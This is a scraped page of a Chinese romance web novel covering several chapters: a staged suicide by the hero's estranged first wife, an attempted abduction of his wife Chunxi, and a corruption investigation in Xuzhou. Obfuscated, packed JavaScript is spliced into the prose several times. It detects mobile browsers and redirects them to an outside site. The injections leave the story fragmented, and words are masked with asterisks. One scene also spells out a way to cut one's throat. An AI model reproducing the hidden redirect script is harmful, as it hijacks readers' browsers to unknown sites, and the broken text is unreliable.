l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578750|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他们的关系恶化成这样? 沈清宇又被抬回了医馆。 春喜见护栏都断了,也有些害怕,忍不住问:“大人,不会闹出人命来吧?” 虽然她知道沈清渊和沈清宇没有血缘关系,但沈清渊毕竟还顶着沈清宇大哥的名号,万一沈清宇出了什么事,那可就是手足相残啊。 “没事,我有分寸,死不了,也不会残。” 沈清渊答得云淡风轻,春喜也跟着松了口气,还想再聊聊以后该怎么对待莫芸婉和沈清宇,就听到沈清渊问:“夫人刚刚是因为心虚所以主动引诱为夫吗?” 诶? 话题怎么又转回到这上面来了? 春喜抬头,就见沈清渊眸色晦暗,充满危险,像极了他第一次醉酒,拉着她的手问她要不要跟他试试。 春喜的心颤了颤,想到之前看到的庞然大物,连忙摇头:“我那不是引诱,只是刚刚大人看上去太生气了,想让大人冷静一下。” “那你觉得我现在够冷静了吗?” “啊?应该够了吧……唔!” 春喜话没说完,沈清渊就上前一步,吻了下来。 和她刚刚蜻蜓点水的亲吻不同,沈清渊吻得很深,恨不得将她的呼吸全部掠夺,大掌还死死地扣着她的后脑勺不许她动弹。 莫芸婉走到门口看到的就是这样一幕。 在她记忆中一直疏冷淡漠的男人,竟然主动抱着一个人吻得停不下来。 男人骨节分明的大掌扣着对方的后脑勺,手背青筋鼓跳,欲色无边,侵略性极强,无法想象他到了床上会是怎样的强势迫人。 莫芸婉脸上血色全无,忍不住后退了一步,这时沈清渊忽地抬眸朝她看过来。 那一眼,欲念喷薄,危险至极。 沈清渊在用行动告诉她。 他是个有正常需求的男人,但只有怀中人能勾起他的欲念,而他根本不屑看她一眼。 如果她再敢不自量力,他不会放过她! 第91章 莫芸婉上吊了 莫芸婉夜里就发起高热。 她梦到自己跟那戏子私奔后本以为能过上郎情妾意的甜蜜日子谁知那戏子只是贪图她的钱财将她的嫁妆挥霍一空后便把她卖给徐州一个大腹便便的员外做妾。 那个员外又丑又老每次触碰她都觉得恶心不已但只要她露出不满就会遭到拳打脚踢。 这时梦境突然变化暴打她的员外郎突然变成了沈清渊 他欲念深重地亲吻着她像是爱她至极她顿时在他怀中化成了水。 然而关键时刻梦境中断她醒了过来。 沈清渊宽厚滚烫的怀抱消失不见她烧得满是虚汗地躺在床上整颗心都空落落的。 “夫人你醒了昨晚你一直在发烧还不停地哭后来又一直叫沈大人可吓死老奴了。” 说着话张婆子把莫芸婉扶起来让她靠坐在床头又端了一碗肉粥给她。 莫芸婉浑身虚软还没完全从梦境中抽离出来。 梦里沈清渊是那样的霸道强势只是想想就叫她心尖狂颤。 若是早知道沈清渊动情后是这般模样她怎可能被那戏子骗走? 莫芸婉懊悔不已但一想到沈清渊昨日是抱着一个男人在亲心里又是一阵反胃。 她现在难道连个男人都比不上? 莫芸婉不甘心喝完粥恢复了些力气她便想去找那个叫曹二的好好聊聊结果一上楼却发现沈清渊没有出门而是留在驿站修栏杆。 天气本来就热稍微干点活就大汗淋漓沈清渊脱了外衫虽然还穿着中衣但衣服早就被汗水打湿紧紧贴在身上。 随着沈清渊敲锤子的动作身上每一寸肌肉线条都完美的浮现出来喷张的雄性气息顿时扑面而来。 莫芸婉只觉得喉咙发干腿也跟着发软许是感受到她的目光沈清渊偏头看了过来。 这一眼不似梦中那般蓄着欲念而是凝着冰碴似要将她钉穿。 莫芸婉连忙低下头刚想说点什么沈清渊忽地起身走到她面前。 高大的身形带着天然的威压些微的汗味更显野性。 虽然知道沈清渊不可能对自己有什么想法莫芸婉的心脏还是控制不住砰砰直跳手心浸出汗来。 若不是死死咬唇她都险些要低吟出声。 她不是未经人事的少女在做了昨晚那样的梦后她更加渴望能跟沈清渊圆房做夫妻了。 然而下一刻沈清渊清 清冷冷的声音打碎她的幻想。 “我从来都不喜欢你也不曾为你守身我已另娶她是我唯一认定的妻。” 莫芸婉猛然抬头不可置信地瞪着沈清渊:“沈郎你一定是骗我的青书那日亲口说你不曾另娶三弟昨日也还唤我大嫂你怎可能……” “没什么不可能的我没有龙阳之好昨日你看到的就是真相。” 沈清渊不耐烦地打断并不想浪费太多口舌。 莫芸婉唇瓣嗫嚅却再发不出声音整个人颤抖着像是摇摇欲坠的落叶。 难怪昨天沈清宇会一遍遍问起曹二难怪曹二敢直接对沈清宇动手难怪沈清渊会当着她的面亲吻。 曹二根本就不是他新提拔的贴身随从而是新的沈夫人! 她回来得太迟了。 莫芸婉心痛如绞失魂落魄地回了房间。 莫芸婉刚走春喜就拿着帕子端着绿豆汤上楼。 她有些好奇:“大人刚刚是跟少……莫姑娘说什么了吗我看她像是丢了魂我跟她打招呼她都没有回应。” 春喜没敢再称莫芸婉为少夫人昨晚沈清渊亲得太狠她现在嘴巴都还有点儿疼呢。 沈清渊睨了春喜一眼等春喜拿着帕子帮他擦掉头上的汗珠喂他喝完绿豆汤才开口:“也没什么我只是告诉她我有夫人了。” 春喜脱口而出:“大人不怕她寻死啊?” 衣服被汗打湿黏在身上不舒服沈清渊索性脱掉露出硬实的胸膛沉着脸回答:“命是她自己的她自己都不珍惜我为什么要替她担惊受怕?” 这话确实很有道理。 春喜点点头注意力很快被沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578751|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清渊虬结有力的身子吸引。 这几日天天跟着梁大人在外面视察他被晒黑了些一身肌理越发紧实蹲下一下肩背扩展每抡一下锤子 但更多的是顺着背脊滑落没入腰际。 大人这腰线也挺好看的。 春喜感觉有点儿口干正想再去厨房要一碗绿豆汤沈清渊忽地扭过头来:“夫人在看什么?” 之前沈清渊也这样叫过她但春喜就是觉得今天这声“夫人”有点儿不太一样她也莫名地心虚起来连忙摇头:“没有我就是看看材料够不够用大人今天辛苦了我再去厨房让他们加个菜。” 春喜说完落荒而逃。 大人的身子是挺好看的但也改变不了那家伙狰狞可怕的事实啊。 这洞房还是能晚一日是一日吧。 沈清渊眸色晦暗,一直追着春喜的背影,直到她消失在楼下转角,才收回目光。 他低头看看自己的胸膛,眉心微拧。 春喜之前给他上过药,也见过他不穿上衣的样子,怎么现在瞧着有点儿怕他? 难道是他拿着锤子的样子有点儿吓人? 春喜躲在厨房,等沈清渊洗完澡换好衣服,才又端着饭菜上楼。 然而刚拿起筷子吃了一口菜,张婆子哭天喊地的声音就响彻整个驿站。“快来人啊,不好了,夫人她想不开上吊了!” 春喜眼皮一跳,然后就听到沈清渊说:“驿站多的是人,她死不了,吃完再去。” 沈清渊很是气定神闲,春喜便也安心下来。 吃完饭,两人下楼,莫芸婉果然已经被救下来。 “你们不要救我,让我**,我活着已经没有意义了。” 莫芸婉哭得很大声,心如死灰,沈清宇不顾自己身上的伤,死死抱住她,看到春喜,沈清宇大声痛斥。 “曹春喜,你这个毒妇,要是大嫂出了什么事,我要你偿命!” 春喜:“……” 肋骨都还断着呢,三弟,你还是闭嘴吧。 第92章 我可以帮你死 “你说要让谁偿命?” 沈清渊沉沉开口。 莫芸婉闹出来的动静很大整个驿站的人都集中到了这里所有人都知道莫芸婉是这位京里来的钦差大臣的妻子。 但不知为何他们夫妻的关系并不好。 沈清渊站在门口没有进去 但莫芸婉正柔柔弱弱地倚在自己怀中沈清宇的正义感涌上来不愿被莫芸婉轻看硬着头皮开口:“大哥不管怎么说大嫂也是先进门的那个凡事总要分个先来后到吧。” 更何况莫家比曹春喜家有权有势多了如今莫芸婉回来这沈夫人的位置就该还给她让曹春喜做个妾就顶破天了。 沈清宇觉得自己很有道理然而下一刻就听到沈清渊说:“我母亲病重之时你娘爬我爹床的时候都没想过礼义廉耻你现在有什么资格跟我说先来后到?” 沈清渊的声音很冷毫不留情地把莫氏最不能让人知道的不堪过往披露出来。 众人没想到会吃到这样大的瓜忍不住窃窃私语看沈清宇的眼神也变了味儿。 沈清宇没想到沈清渊会当着这么多人的面提起多年前的家丑他脸色剧变又羞又恼:“大哥我娘现在也是你的母亲你怎么能在外人面前如此诋毁她?” “我说的是事实”沈清渊不避不闪迎着沈清宇愤恨的目光说“我唤她一声母亲是给她面子不代表她可以插手我的事而你更是连置喙我的资格都没有。” 言下之意只要他不点头就算是莫氏也休想认下莫芸婉这个儿媳。 沈清宇没想到沈清渊的态度如此强硬他无法用孝道来压沈清渊只能退一步说:“大嫂现在的情绪很不稳定大哥说话就不能委婉一点吗今天若不是我在万一大嫂真的寻了短见大哥要如何向莫家交代?” 莫芸婉毕竟是莫家二爷的嫡女她好不容易死而复生却又被沈清渊逼死这笔人命债莫家肯定是要讨回来的。 沈清宇说完这话莫芸婉立刻哀哀地哭起来:“爹娘女儿不孝女儿只能下辈子报答你们的恩情了。” 莫芸婉说着从沈清宇怀中挣脱作势要撞墙张婆子连忙把人抱住:“夫人万万不可啊!” 主仆俩一个要寻死一个拼命阻拦场面倒是十分的让人动容。 然而沈清渊的表情始终冷淡过了会儿他拿出一把**丢到莫芸婉脚边:“撞墙不一定能死用刀 快一些直接抹脖子你若是找不到要害在哪儿我可以帮你。” 这话一出四下寂静无声连莫芸婉都吓得止了哭。 过了一会儿莫芸婉讷讷开口:“沈郎你要我**?” 沈清渊挑眉反问:“不是你自己不想活吗我帮你找个痛快点儿的解脱方式你难道不该感谢我?” 众人:“……” 叫自己妻子**还要人家感谢沈大人你是阎王转世吧? 沈清渊的话实在太过惊世骇俗张婆子一时都忘了要继续拦着莫芸婉。 莫芸婉咬着唇反倒不急着寻**她落下两行清泪哀怨地看着沈清渊:“我是沈郎明媒正娶的妻虽意外失踪数年却也找人验身证明了清白 上吊未果撞墙未遂闹了这么大半天莫芸婉不见丝毫狼狈哭起来时更是凄美动人有种让人疼惜的破碎感。 在场不少人都同情起她来。 是啊一个弱女子失踪多年虽证明清白却还是不被丈夫接受如今年华已逝容颜衰老让她如何活下去啊。 众人看沈清渊的眼神带了谴责沈清渊却不为所动只看着莫芸婉说:“把刀捡起来割断颈侧的血管你很快就能死。” 莫芸婉的眼睫狂颤唇瓣也跟着颤抖发白。 她本想以死相逼迫使沈清渊先当众承认自己的正妻身份再慢慢跟春喜争宠谁知沈清渊油盐不进还告诉她**才能死透。 她怎么可能愿意**呢。 当初发现被骗被那戏子打掉孩子卖给又老又丑的员外她都没死如今有人愿意帮她重回侯府她怎能放着大好的机会不要**? 见无法从沈清渊这里突破莫芸婉只能看向春喜然而没等她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578752|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口沈清渊就抢先道:“你不是去年秋天来的徐州而且你也没有一直待在善堂你脖子上一点儿淤青痕迹都没有说明你刚刚根本没有上吊只是故意营造寻死的假象想要逼迫于我。” 沈清渊目光冷锐如同尖刀刺穿莫芸婉的皮囊将她不堪的灵魂死死钉在地上。 莫芸婉后脊发凉这下是真的害怕了。 虽然有人说过会帮她抹除过去的痕迹不让任何人知道她曾给人做妾可天底下哪有不透风的墙万一沈清渊真的查到什么她该怎么办? 在沈清渊的注视下莫芸婉很快败下阵来她瘫软在地哭着说:“沈郎猜得没错我的确不敢死我只是故意闹出声势想要回到 沈郎身边,如今被沈郎识破,我也没什么好辩解的,等回到瀚京,我愿与沈郎解除婚约。” 莫芸婉说完低下脑袋,整个人都失去了活力。 沈清宇看得心头一痛,还想帮她说话,被沈清渊冷冽的眸子一扫,顿时成了哑巴。 沈清渊带着春喜回到屋里,见春喜一直眨巴着眼睛看着自己,他沉沉道:“想清楚再开口,说些我爱听的。” 话音刚落,春喜竖起大拇指,笑眯眯地夸赞:“大人,你好厉害啊,竟然真的抵抗住了美色的诱惑,她哭得那样可怜,我都差点儿同情她了呢。” 沈清渊顿住,严肃地看着春喜:“所以你其实害怕我会对她心软,对吗?” 当然害怕啊。 她没有莫芸婉好看,也没有莫芸婉会哭,更没有莫芸婉家世好,人家还是先进侯府的那一个,而她所有的倚仗只有他。 若他变了心,她就只有再次被扫地出门。 春喜舔舔唇,刚想把这个话题糊弄过去,沈清渊忽地折身,用力地把她拥入怀中。 宽厚的胸膛带来极大的安全感,春喜到嘴边的话都咽了回去,喉咙有些发干。 怎么办,她好像真的有点儿喜欢大人了。 喜欢到明明害怕那庞然大物,也还是忍不住馋大人的身子。 第93章 好弟弟,乖 被沈清渊当众戳穿不敢死以后,莫芸婉终于消停下来,倒是梁夫人不知从哪儿打听到春喜的身份,让张婆子送来请帖邀春喜和沈清宇去府里吃饭。 沈清宇胸口正疼着,看到春喜,满脸的哀怨,恨不得把“鸠占鹊巢四个字写在脸上。 春喜故意装作看不明白,好奇地问:“三弟的眼睛怎么斜了,可要大嫂帮你正正脸? 春喜说着活动了下手腕,沈清宇怕挨打,连忙收回目光,咬牙道:“我的眼睛没问题,你别没事找事! “三弟怎么能这么跟我说话呢,我可是你嫂嫂,要是去了梁家,叫人以为咱们府里没大没小、不成体统影响多不好啊,你说是吧? 春喜笑眯眯地说着话,老成又自然地拍了拍沈清宇的肩膀。 春喜没有用太重的力道,沈清宇却还是感觉到了浓浓的威胁。 身上毕竟还有伤,沈清宇不想自讨苦吃,只能放软了语气说:“大嫂说的是,方才是我不对。 这声“大嫂喊得春喜身心舒畅,她得寸进尺,又踮脚摸了摸沈清宇的脑袋。 “乖,这才是做弟弟该有的样子嘛。 “…… 竟敢像摸狗一样摸我的脑袋,曹春喜,你死定了! 沈清宇气得胸口剧烈起伏,肋骨跟着发疼,却敢怒不敢言,春喜摸够了,这才哼着小曲儿坐上马车去往梁家。 今日梁夫人只请了春喜和沈清宇,酒菜摆在花园,除了梁夫人,还有府里的两位小姐作陪。 再次见面,梁夫人全无之前在春喜面前的高傲,亲亲热**地拉住春喜的手。 “好妹妹,你说你一个正头夫人怎么能扮成小厮跟在沈大人身边呢,若不是及时知道真相,我就要好心办坏事了。 之前莫芸婉在梁家养伤,沈清渊一次都不来探望,梁夫人就觉得不太对劲,但还是想让张婆子帮着撮合一番,好让莫芸婉帮着吹枕边风。 谁能想到沈清渊早就另娶,不仅把新夫人护得跟眼珠子似的,还把人扮成小厮带在身边? 梁夫人不太担心自己乱点鸳鸯谱得罪春喜,而是怕春喜之前扮作小厮混进梁家发现了什么。 毕竟之前她为了笼络莫芸婉,给莫芸婉布置的房间用的都是好东西,梁为民入仕这么多年倒也不是买不起那些东西,但总归是和他在沈清渊面前营造出来的清官形象不大相符。 梁夫人不动声色地观察着春喜的反应。 沈清宇不知道梁夫人还有其他目的,只觉得有外人在,春喜肯定 不敢动手打他,便插嘴道:“夫人说的是,女子成婚后,当在家中侍奉长辈才是,我祖母才刚回家,大嫂就打扮成这不伦不类的样子跟着大哥来了徐州,祖母在家可伤心了。” 春喜横了沈清宇一眼,倒是没有说什么。 见春喜如此,沈清宇顿时忘了疼,继续揭短:“嫂嫂小门小户出身,之前还在别人家做丫鬟,若不是大哥迷了心窍非娶嫂嫂不可,我娘定是要为大哥寻个知书达理的好姑娘的。” 堂堂侯府的大少夫人,竟然是个丫鬟出身,沈大人的眼光竟然差成这样? 梁夫人脸上的热切淡了两分,嘴上却还在充和事佬:“沈三少爷真是说笑了,沈大人对沈夫人极为爱重,沈夫人之前怎可能在别人家做丫鬟呢?” “怎么不可能,她之前不仅是丫鬟,还是给人端屎端尿的那种呢,”沈清宇自认为把春喜最不堪的一面抖落出来,胸中恶气出了一半,他还觉得不过瘾,直勾勾地盯着春喜问,“嫂嫂你说,我刚刚可有半句虚言?” 梁夫人还抓着春喜的手,听到端屎端尿,强忍着恶心才没有把手撒开,然而下一刻就见春喜点头道:“三弟说的没错,我之前的确是干过这些活的。” “……” 梁夫人迫不及待地收回了自己的手,她想叫人端水来洗手,但碍于颜面,生生忍着。 亏她还担心这位正儿八经的沈夫人看出什么,没想到竟是个出身低下的泥腿子,这样的人哪里分得清东西的高低贵贱? 梁夫人的反应让沈清宇爽到,他还想说侯府上下只认莫芸婉这一位大少夫人,刚张开嘴,脚就被狠狠踩了 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梁夫人觉得自己完全是在浪费时间,但又不死心地问:“我听说沈大人十七岁高中状元,然后就进了京兆府,这十年间都不得升迁,这次怎么突然被陛下任命了?” 沈清渊目前看着没什么特殊才能,春喜更是上不得台面,但梁夫人怕他背后有什么靠山。 早些探知也好早做应对。 春喜尝了口菜,不假思索道:“是卫家大少爷举荐的我家大人,夫人别看我家大人年岁不大,但他辈分很高,算起来还是卫大人的叔叔呢。” 竟然是卫家? 梁夫人顿时沉了脸。 她对这位卫家大少爷有所耳闻,这人本是前途无量的少年将军,结果在战场重伤瘫痪三年,如今军中已没有他的位置。 卫凌泽双腿痊愈不久就破了一桩大案,连升两级,还娶了青梅竹马的萧家大小姐为妻,如今可谓春风得意。 但谁会嫌功劳多呢? 若卫家是想借机为卫凌泽铺路,事情就比他们想象中棘手多了。 第94章 送进大牢,我亲自审 “沈大人既然和卫家沾亲带故,怎么会蹉跎到现在才被启用?” 梁夫人喝着茶,问得漫不经心。 春喜给了梁夫人一个”你知我知“的眼神,如市井妇人一样八卦起来:“卫家侄子之前走的是武将路线,自然瞧不上我家大人这样的文官,可他瘫痪在床三年,京中时局变幻,他过去的辉煌已然不在,不求他叔叔帮忙又能怎么办呢?” 春喜说着掩唇笑起,很是得意。 梁夫人却笑不出来,脸色有些难看。 去年受灾的百姓太多,难免有要喊冤的,虽然徐州境内的官员都用了强硬手段**,但还是有漏网之鱼。 梁家在京中确实有靠山,去年的赈灾粮饷大多也都拿到上面疏通关系了。 天子脚下不好行贪赃枉法之事,世家大族都想搏个好名声,但私下里,谁不提携一些亲戚门生在各州县为自家揽财? 若那漏网之鱼直接去京兆府报案、甚至去敲登闻鼓,只要事情没有传到陛下耳中,这事都还能捂住,谁知那些人趁乱**,毁了萧家大小姐的回门宴,又在天子脚下闹出好些人命,闹大了声势,才开始申冤,这事就露了馅儿。 如今想来,事情败露从一开始就和卫家有关。 京中早就传了消息来,梁为民销毁了所有罪证,还把沈清渊调查了一遍,沈清渊虽然出身侯门,那清远侯府却是个徒有其名的空架子,沈清渊更是庸庸碌碌十年毫无建树。 沈清渊来徐州这些时日,几乎是被梁为民牵着鼻子走,梁夫人知道后不免放松了警惕,可现在知道沈清渊背后的可能是卫家,她的心又悬了起来。 卫凌泽瘫痪三年,如今正是需要立功擢升的时候,这次的**案可比他前不久破的命案大多了。 卫家和萧家的联姻已成,卫家如果非要咬着不放,萧家必然不会袖手旁观,他们背后的靠山能禁得起两家围剿吗? 梁夫人在脑子里飞快地思索着京中形势,春喜却没心没肺地问:“夫人,我饿了,能不能先吃?” “……” 沈清宇换好衣服回来,春喜已经在大快朵颐了。 梁夫人始终没动筷子,也没有在意春喜像饿死鬼投胎,肃着张脸目光游离着,不知道在想什么。 到哪儿都忘不了吃,你是八辈子没吃过东西吧。 沈清宇在心里骂了春喜一句,见桌上的菜都被动过了,只觉得倒胃口,便也只是干坐在旁边看着春喜。 酒足饭饱后,春喜道谢离开。 沈清宇觉得丢 人,先行一步出了梁家。 等春喜从粱府出来,沈清宇的马车都跑得不见影儿了。 春喜打了个饱嗝儿,摸摸撑得圆滚滚的肚子想,三弟似乎还是不太懂得尊重二字怎么写,她这个做大嫂的还得多替婆母管教管教才行。 马车慢吞吞地向驿站驶去,然而刚到半路,一群人突然冲出来将马车团团围住。 “大家快来,这就是钦差大人的马车,只要跟着大人回驿站,大家都能吃香的喝辣的。” “是啊,那天钦差大人就从善堂带走了一个姑娘,咱们也去,大人不能厚此薄彼!” “……” 人群中有几个领头的大声吆喝煽动,剩下的人全都发了疯的冲向马车。 春喜刚想掀开帘子看看情况,车夫就被那些人拽了下去,马在这时受惊,撞开人群在街上狂奔起来。 春喜被惯性甩到马车壁上,她闷哼一声,顾不上痛,连忙爬起来想要勒停马车,然而一掀帘,却见到两个穿着粗布短打的陌生男子坐在外面。 其中一人控制着马车,另一个人则想钻进车来,却不料春喜在这时掀帘,正好四目相对。 男人眼底闪过狠戾,他飞快地朝春喜伸出手,却不想春喜袖中藏着**,快准狠地在他小臂划了一刀。 衣袖破开,小臂也被划出一个大大的口子。 男人吃痛收回手,面上戾气更重,他刚想说些什么,就见春喜跳下了马车。 “……” 真是活见鬼了! 雇主是说过这个女人会些功夫有点儿难缠,但也没说她胆子大到敢不要命地跳车啊! 男人立刻让同伙停下马车,两人想一起包抄春喜,刚 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大人本来就是来查**案的,万一自己先落个假公济私的骂名,那就不太能让人信服了。 沈清渊抱着春喜的手又紧了两分。 她看似活得随心,实则遇事总是先考虑大局,把自己放在后面。 回门那日发生**是如此,见到莫芸婉是如此,今日更是如此。 密密麻麻地心疼翻涌上来,沈清渊再舍不得凶春喜,缓了语气问:“可有受伤?” 春喜摇头,而后向他展示了带血的**:“幸好我有先见之明,在袖中藏了**,方才那人想抓我,还被我狠狠划了一刀呢。” 春喜挑眉,带着两分邀功的意味,沈清渊脸上的寒意也消融了些,颔首道:“嗯,你很厉害。” 虽然春喜说没有受伤,沈清渊还是把她送到医馆让大夫仔细检查。 在春喜检查时,有暗卫来问:“大人,那两个人和那些**的百姓怎么处置。” 和在春喜面前的好说话截然不同,沈清渊周身气息冷肃,整个人都变得铁血无情:“送进大牢,我亲自审!” 第95章 不是大人,是夫君 听说城中有人**,还堵了沈夫人的马车,梁为民立刻赶到府衙。 去年洪灾发生时,府衙也被水淹到,过去大半年,牢里还是阴冷潮湿的。 这里关过很多**的灾民,但在听说朝廷要派钦差大臣下来时,那些人都被处理掉了。 梁为民走得很急,出了一头的汗,被混杂着霉腐气息的冷风一吹,忍不住打了个寒颤。 很快,他就在刑讯室里看到了沈清渊。 刑讯室是个四面都是墙,没有窗户的地方,其中一面墙上挂满了各式各样的刑具,因为岁月绵长,每一个刑具都被血染透,变得斑驳可怖。 沈清渊已经审讯了一番了,刑架上的人被浸了盐水的牛皮鞭打得皮开肉绽,空气里都是血腥味和尿骚味。 而沈清渊安安静**在审问桌前,衣服上未曾沾染半点儿血腥。 室内唯一的一盏油灯散发着昏黄的光,在沈清渊脸上投下阴影,他面上平静无波,无视眼前的血腥,整个人一下子染上邪气,变得铁血无情起来。 梁为民眼皮微跳。 现在的沈清渊和这些日子他接触到的沈清渊很不一样。 “下官来迟了,都是下官治理无方才会让人聚众**,沈夫人没事吧?” 梁为民迅速扫了一眼,便收回目光上前赔罪。 沈清渊淡淡开口:“只是受了点惊吓,并无大碍。” 沈清渊的语气和平时也没有太大的变化,但梁为民就是感觉到了冷,好像整个大牢的冷气都在渗透他的皮肤,往他的骨头缝里钻。 梁为民连忙道:“沈夫人是在下官的管辖之内出的事,下官一定会给沈大人一个满意的交代!” “我已经帮大人问过了,煽动百姓**,雇人掳劫内子的就是此人,可惜,我撬不开他的嘴。” 沈清渊嘴上说着可惜,表情却是运筹帷幄。 他哪里是撬不开这人的嘴,分明是故意把他留到最后,想把梁为民一起审。 沈清渊表面上是奉命代陛下来徐州查看灾后情况,但谁都知道他是查赈灾粮饷来的,这种紧要关头,他的夫人出了事,梁为民自然是最大嫌疑人。 梁为民头上的汗更多了,他也拿不准是不是手底下的人干的蠢事,但沈清渊就在这儿看着,他只能拿出所有的手段撬开眼前这个人的嘴。 又是一番严刑拷问下来,这人终于开口。 “是京城卫家的人让我这么做的,不过他们没让我伤害沈夫人,只是让我想办法制造沈夫人被灾民劫杀的假 象,找个地方妥善安置沈夫人。” 卫家? 梁大人太阳穴突突地跳,他想追问缘由和卫家的目的,对方却是一问三不知了。 沈清渊早有预料,得到这个答案并不意外。 他站起身,沉沉道:“时辰不早了,我先回驿站,剩下的事就交给梁大人处置了。” 沈清渊走后,梁为民又在牢里待了许久才离开,回到梁家,已是凌晨,梁夫人却还没睡。 “老爷怎么这么晚才回来,我有很重要的事要跟老爷说。” 梁夫人迎上来帮梁为民宽衣,梁为民思绪正乱,但还是压着脾气问:“夫人有什么事?” 梁夫人连忙把春喜今日的话大概复述了一遍,而后担忧道:“这位沈夫人出身低微,满脑子只知道吃的,我问什么她就说什么,她的话应该都是真的,万一卫家真的要拿我们给卫凌泽铺路,咱们还有活路吗?” 梁为民本来还在好奇卫家为什么会掺和到这件事里来,听到梁夫人的话,顿时茅塞顿开。 卫家恐怕是想借沈夫人假死,栽赃嫁祸于他,好让沈清渊铁了心的查这桩案子,到时卫家再暗中相助,破获此案后,表面上得罪人的是沈清渊,实则在陛下面前露脸、暗中获益的却是卫凌泽。 卫家真是好算计! 梁为民心中凛然,当即对梁夫人道:“快磨墨,我要给恩师写信!” “可是师娘不是让你这段时间不要往京里写信吗,会不会被沈清渊发现?” “事情紧急,顾不了那么多,而且只要小心些,不会被发现的。” 梁夫人还想再劝,但见梁为民表情实在严肃,最终只能闭嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578755|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 沈清渊回到驿站,第一时间洗了澡才回屋里。 他身上虽然没有沾到血腥,但在牢里待了那么长时间,难免有味道。 春喜翘着二郎腿躺在床上,见他回来立刻蹦起来:“大人回来了,这么晚了你吃过饭了吗?我让厨房给你留了饭菜,要不要再吃点儿?” 春喜边说边往外走,路过沈清渊时,被抓住胳膊。 “吃过了,我不饿。” 沈清渊沉沉开口,声音有点哑,眸子更是一片晦暗。 但他刚洗过澡,身上有着淡淡的水汽和皂角清香,很容易让人放松戒备。 春喜怕他还在生气,带着将功补过的心思,把自己今日对梁夫人说的那些话都说出来。 “梁夫人明显是想打探大人背后有没有靠山,我想也没想就把话题引到了卫凌泽身上,之前离开的时候我就觉得卫凌泽没安好心,要是姓梁的跟他背后的靠山联系,肯定会去找卫凌泽的茬,咱们在这儿辛苦查案,也不能让他闲着憋坏,对吧?” 春喜说着挑眉,对自己机智的回答相当满意。 看着春喜灵动鲜活的模样,沈清渊抑制不住的心悸。 在确定卫凌泽还觊觎着她、并且想要把她私藏起来之后,他想彻底占有她的心情就攀升到了巅峰。 之前他还想着两人年纪相差太大,他该给她时间适应,让她慢慢喜欢自己,直到心甘情愿。 可是现在,他不想再等了。 他要和她有夫妻之实,他要她完完全全属于自己,不许任何人抢走。 这般想着,沈清渊伸手环住春喜的腰,与她贴紧:“夫人很聪明,而且帮了我大忙。” 沈清渊由衷夸赞,完全看不出白日生气的样子。 春喜松了口气,下一刻又忍不住瞪大眼睛。 天气热,大人穿得很薄,两人又贴得很近,她明显感受到了大人的变化。 “大人……” 春喜有些紧张,然而刚开口,沈清渊就低头与她额头相抵,沙哑的声音带着蛊惑:“这里没有外人,我不是大人,是你夫君。” 第96章 圆房 我不是大人,是你夫君。 沈清渊低哑的声音在耳边回响,春喜感觉一股陌生的酥麻感从尾椎骨蹿了上来,让她控制不住的心跳加快,脸颊发热。 她隐隐意识到今晚会发生点什么,却又忍不住仰头去看沈清渊:“大人,你今天又喝酒了吗?除了醉酒那两次,正常状态下大人似乎不会对她说这样的话。 “没有,沈清渊否认,而后敏锐地抓住关键,“夫人为什么会这样问,难道我之前醉酒后对夫人做过什么? 自然是做过的,而且还和平时很不一样。 不过这个时候她哪敢说实话? 春喜连忙把头摇得跟拨浪鼓似的:“没有没有,我就是觉得大人今天有些不太一样。 沈清渊在京兆府办了那么多案子,一眼就看出春喜是在撒谎。 之前他醉酒之后,肯定发生过什么。 “看来没有人教过夫人,在面对质疑的时候,否认太快就是心虚的表现。 说着话,沈清渊捉住春喜一只手腕轻轻摩挲。 带着薄茧的指腹在肌肤上来回扫过,细微的痒意让春喜浑身的鸡皮疙瘩都冒了起来。 她还想辩解,沈清渊却越发地低下脑袋,轻触她的鼻尖,与她呼吸交缠。 这样近的距离,她整个人都被他的气息密密麻麻地包裹住,春喜感觉喉咙又开始发干。 有点想亲。 像是能听到她心中的想法,沈清渊捏了捏她的手腕问:“可以吗? 这话问得没头没尾,但蛊惑意味十足。 春喜迷迷糊糊地想,原来不只是她一个人想入非非,大人也想亲她啊。 春喜没有回答,微微仰头亲了上去。 好歹已经亲过几次,她也算是有经验了,总不能一直像个木头一样等着大人行动。 春喜很青涩,却也大胆。 